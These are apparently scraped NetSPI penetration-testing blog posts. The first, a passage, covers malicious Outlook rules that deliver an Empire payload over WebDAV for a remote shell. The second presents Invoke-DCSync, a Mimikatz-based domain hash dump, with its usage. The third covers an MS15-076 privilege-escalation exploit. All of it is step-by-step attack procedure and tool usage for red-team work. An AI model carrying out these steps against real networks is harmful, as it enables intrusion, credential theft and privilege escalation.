Through the hex editor, we can find the data we’re interested in. We have the name of our rule, the text that our subject trigger is using, and the path of the file to execute. Experienced reverse engineers may notice that each text sequence is preceded by the length of the string, and the string itself is encoded with UTF-16LE. After spending some time reversing the file format, we built a python script to automate the process of modifying the rules file to execute an arbitrary malicious file instead of the one initially specified! By default, the script uses an email subject trigger rule to execute the file path specified. Like any good hacker script, it’s a little rough around the edges (e.g. no exception handling), but it’s much better than manually editing the .rwz files in a hex editor. It can be found here: https://gist.github.com/monoxgas/7fec9ec0f3ab405773fc

Note: The API Outlook uses is ShellExecute with the “open” verb when running the file, so technically any file extension with an action defined for “open” is valid. These can be found in the registry under HKEY_CLASSES_ROOT. This is also why arguments don’t work…for now. 

That’s cool, but we’re always looking for ways to weaponize techniques in real-world attack scenarios. That being said, the next challenge became finding a way to remotely leverage the capability to obtain initial access, or pivot around tough network segmentation. This is where UNC paths, SMB, and WebDAV come in handy.

  • Assuming you already had internal network access, you could host your malicious files on an open Samba share with Kali, or simply drop them on an existing public file share on the network.
  • If attempting initial access, the target network would need to allow port 445 outbound (more common than you might think), in which case you just host the file on a public server.
  • Similar to #2, but WebDAV (port 80) is used to deliver the payload.

Again, focusing on real-world attack scenarios, we opted for method #3, using an external WebDAV server running on port 80 (because everyone lets port 80 out) to deliver the payload.

Note: Performing this attack via the internet might generate a user prompt warning of execution from an untrusted location.

So let’s put all of this theory into practice and show an example attack.

The machines we’ll work with:

  • Target Workstation
    • On the internal network
    • Target user has Outlook running
  • Public Web Server
    • Internet facing server
    • Running WebDAV with Apache
    • Will deliver Powershell Empire as the payload
  • Windows VM
    • Used to connect to target user’s email account externally

Overview of the process:

  1. Install Apache and WebDAV modules. Setup a public share with anonymous access (public server)
  2. Run Empire and create listener/stager (public server)
  3. Build EXE wrapper to run PowerShell one-liner silently
  4. Build Outlook RWZ file
  5. Connect to target users email in Outlook and sync the malicious rule file (Windows VM)
  6. Send an email to trigger the Outlook rule
  7. Shellz! (target workstation)
  8. PROFIT???

Step 1 – Install Apache and WebDAV

Installing Apache and WebDAV will depend on your distro. In this demo, we used a base Ubuntu 14.04 install with a process similar to this. Here is a snippet from the 000-default.conf site config file to allow anonymous access to a WebDAV share.

In this case, I’m using “/var/www/webdav”. Just make sure proper permissions are set on that directory.

Step 2 – Setup the RAT

Powershell Empire (https://www.powershellempire.com) can be installed with a simple “git clone https://github.com/PowerShellEmpire/Empire.git”, then run “./setup/install.sh”. For this example, I just left the listener named “test” with a connecting port of 8080. Setup our one-liner using “usestager launcher <listener name>”

Step 3 – Build the payload

Alright, now that we have a RAT listener setup, with a PowerShell one-liner to deploy, and WebDAV server to host our files, we just need the file payload to deploy. This could be done a number of ways. I like to use “BAT to EXE Converter” from https://www.f2ko.de/en/b2e.php. It allows you to make a EXE for running any command line input you want. Just copy the PowerShell one-liner from Empire into a BAT file and compile it to an EXE. Don’t forget to make the application “invisible” to avoid a command prompt window popping up. Once it’s compiled, throw this EXE onto your WebDAV file share.

Step 4 – Build the rule

Using the rulz.py script mentioned earlier, create the malicious rules file.

Step 5 – Connect to Outlook

This part is the easiest of this whole process. We won’t cover this process in detail, but it should be pretty easy as most organizations have AutoDiscover via DNS setup.

Note: Although user credentials often match between domains and exchange, it is possible that they use separate passwords (especially in the case of Office 365).

Once you have the profile loaded, hop into the “Rules and Alerts” panel, hit Options, then Import.

Feel free to edit the rule after it’s imported and modify it to your pleasure. Hit Apply when you’re done and let Outlook sync the rule to Exchange.

Important: When modifying a rule that starts an application, Outlook may set “On this computer only”. Make sure to uncheck this before applying the rule!

Step 6 – Send an email

Correction, hopefully THIS is the easiest step in the process. Go ahead and shoot your target an email, either from themselves, or the address of your choosing. I like to close Outlook immediately after the message sends to make sure the local instance doesn’t interfere with the process.

Step 7 – Shellz!

This whole process can be lengthy, and a bit finicky, but nothing satisfies like popping shells using only Outlook and some credentials.

Don’t forget to clean up their Outlook rules when you are done.

What’s Next?

Like most good attacks, we aren’t really exploiting flaws, just abusing functionality to get reliable code execution. The biggest drawback right now is the inability to pass arguments when executing an application. This forces us to serve files over SMB or WebDAV which complicates the process a bit. While there are some caveats and prerequisites, Outlook rules still provide a promising entry point into a network, or around network segmentation.

The post Malicious Outlook Rules appeared first on NetSPI.

]]>
Hashdump without the DC using DCSync (because we all wanted it) https://www.netspi.com/blog/technical-blog/web-application-pentesting/invoke-dcsync-because-we-all-wanted-it/ Fri, 02 Oct 2015 13:05:00 +0000 https://www.netspi.com/invoke-dcsync-because-we-all-wanted-it/ This is a short blog post (and a script) to release a PowerShell invoker for DCSync.

The post Hashdump without the DC using DCSync (because we all wanted it) appeared first on NetSPI.

]]>
Update: It was brought to our attention that we mistakenly forgot to credit a few of the researchers who contributed to the code used in this post. In fact, these contributors really did the heavy lifting and we simply combined various aspects of their work to create a hashdump script. Will Schroeder (@harmjoy), Joseph Bialek (@JosephBialek), Matt Graeber (@mattifestation), Vincent Le Toux (vincent.letoux [at] gmail.com), and Benjamin Delpy (@gentilkiwi) all contributed to this effort. Check the source for their specific contributions. We write a lot of code for internal use, and are still new at the process for public release.We apologize for the oversight!

This is a short blog post (and a script) to release a PowerShell invoker for DCSync. If you haven’t heard of “DCSync”, it is essentially a feature within Mimikatz that allows you to impersonate a domain controller to synchronize domain account credentials with other domain controllers. The underlying technology is obviously necessary so when a domain user changes his or her account password, the change gets synchronized across all domain controllers. Here’s the catch…the synchronization request doesn’t have to be made from an actual domain controller. Leveraging this “feature” in Active Directory, Mimikatz impersonates a domain controller to perform a password synchronization request to another domain controller. Add in some user enumeration and we can effectively perform a domain hashdump without ever actually being on a domain controller! Even better…on a recent assessment we found an organization had enabled the “Store passwords using reversible encryption” GPO. We were pleasantly surprised to find that DCSync not only pulled the hashes, but also the clear-text passwords for the accounts with that option enabled!

Now, there are a few noteworthy items. Of course there are some limitations to this. First (and hopefully this is obvious), you need to be a domain or enterprise administrator. Also, it may not be a good idea from an opsec perspective to run this on a non-domain controller host. Obviously, this is meant to synchronize DC to DC, not DC to workstation, or even DC to server. Sean Metcalf has a lot of good information on the opsec impact and even detection of this type of traffic here. Now on to the good stuff..

The PowerShell script leverages Invoke-ReflectivePEInjection with some help from the PowerView project to enumerate domain users. Basically, the script uses a DLL wrapper for the PowerKatz build of the Mimikatz project with an exported “powershell_reflective_mimikatz” function to execute the commands. Short synopsis:

  • Users and/or machines are enumerated from the network. (They are also passable as an argument.)
  • The DLL is loaded into memory, and the DCSync function location is found.
  • The DCSync command is generated and the function is called iteratively.
  • The output is parsed and formatted for your viewing and cracking pleasure.

Link to the ps1: https://gist.github.com/monoxgas/9d238accd969550136db

Here is the the full help for the command:

NAME
    Invoke-DCSync

SYNOPSIS
    Uses dcsync from mimikatz to collect NTLM hashes from the domain.

SYNTAX
    Invoke-DCSync [[-Users] <Array[]>] [-GetComputers] [-OnlyActive] [-PWDumpFormat] [-AllData] []

DESCRIPTION
    Uses a mimikatz dll in memory to call dcsync against a domain. By default, it will enumerate all active domain users along with the krbtgt, and print out their current NTLM hash. Big ups to @harmj0y for the powerview project. The Get-NetUser and Get-NetComputer code is ripped for this script.

PARAMETERS
    -Users <Array[]>
        Optional, An array of usernames to query hashes for (Passable on the Pipeline). krbtgt will automatically get added

        Required?                    false
        Position?                    1
        Default value
        Accept pipeline input?       true (ByValue)
        Accept wildcard characters?

    -GetComputers []
        Will pull the machine hashes as well. Default is false

        Required?                    false
        Position?                    named
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -OnlyActive []
        Will only pull users whos account is active on the domain. Default is true

        Required?                    false
        Position?                    named
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -PWDumpFormat []
        Formats the output in 'user:id:lm:ntlm:::' format. Default is false

        Required?                    false
        Position?                    named
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -AllData []
        Prints out raw mimikatz output. Default is false

        Required?                    false
        Position?                    named
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, type,
        "get-help about_commonparameters".

INPUTS

OUTPUTS

    -------------------------- EXAMPLE 1 --------------------------
    >Invoke-DCSync -PWDumpFormat
    Returns all active user hashes in 'user:id:lm:ntlm:::' format.


    -------------------------- EXAMPLE 2 --------------------------

    >Invoke-DCSync -OnlyActive:$false -GetComputers
    Returns all user and computer object hashes in the domain


    -------------------------- EXAMPLE 3 --------------------------

    >Get-NetGroup -GroupName "EvilPeople" | % {$_.MemberName} | Invoke-DCSync
    Returns the user hashes for account in the EvilPeople group

The post Hashdump without the DC using DCSync (because we all wanted it) appeared first on NetSPI.

]]>
Exploiting MS15-076 (CVE-2015-2370) https://www.netspi.com/blog/technical-blog/web-application-pentesting/exploiting-ms15-076-cve-2015-2370/ Wed, 12 Aug 2015 13:16:00 +0000 https://www.netspi.com/exploiting-ms15-076-cve-2015-2370/ This blog details how to remediate the MS15-076 (CVE-2015-2370) vulnerability.

The post Exploiting MS15-076 (CVE-2015-2370) appeared first on NetSPI.

]]>
A few weeks ago (July 14, 2015), Microsoft had a busy patch Tuesday fixing quite a few privilege escalation vulnerabilities. Among these was a bug in DCOM/RPC which allows for an NTLM authentication challenge to be reflected back to a listening TCP socket. This issue was found by James Forshaw (@tiraniddo) with the Google Security Research team. The details of this bug and potential exploit paths are covered in his write up here. Along with this write up came a PoC that utilized NTLM reflection, IStorage objects, a Junction, and some clever path trickery to get a SYSTEM process to write a file to ‘C:Windows (2)’ without the user having admin privileges. Now this isn’t particularly useful if you are attempting to leverage this vulnerability to escalate privileges. So, naturally the goal became modifying the exploit to an arbitrary file write at any location on disk.

Luckily, Forshaw has also done research into Symbolic Links and Junctions which can used to weaponize this exploit. Here is a link to his slides on the topic from SyScan’15 along with his GitHub code here.

Now the piece we want to extract from all of this is the unprivileged file level symbolic link tactic (CreateSymlink). Essentially this uses a junction in combination with a symbolic link written to the global namespace in RPC Control to get a C:FolderFileA pointing to C:FileB without administrative privileges. Let’s walk through what it takes to get the a file written to ‘C:WindowsSystem32Evil.dll’.

  1. Make a directory junction from ‘C:WindowsTemp{Random}’ to ‘C:UsersPublicLibrariesSym’
  2. Make another junction from ‘??C:UsersPublicLibrariesSym’ to ‘RPC Control’
  3. Make a symlink from ‘RPC Control (2)’ to ‘??C:WindowsSystem32Evil.dll’
  4. The exploit will attempt to write a file to ‘C:WindowsTemp{Random}/’ which points to ‘C:WindowsSystem32Evil.dll’

Note that steps 2 and 3 are performed together in the CreateSymlink project.

Modifying the PoC code with the above tricks, we can now copy any file to a privileged location. We’re calling finished product ‘Trebuchet’.

You might be thinking, “So what? It’s just an arbitrary file write.” We’ll leave weaponization specifics up to the reader, but if you’re familiar with DLL hijacking, then privilege escalation shouldn’t be difficult from here. The full PoC code can be found here.

Some things to note:

  • The exploit can only be ran once every 2-3 minutes. RPC gets held up by LocalSystem.
  • The Interop DLL must be in the same directory as the exploit (for now).
  • Only limited testing on Windows 7/8.1 x64 and x86 has been performed.
  • All of the licensed code belongs to Google and/or James Forshaw, and a big thanks to him for all the material and his great research.
  • Most of this code could be cleaned up and/or simplified.

The post Exploiting MS15-076 (CVE-2015-2370) appeared first on NetSPI.

]]>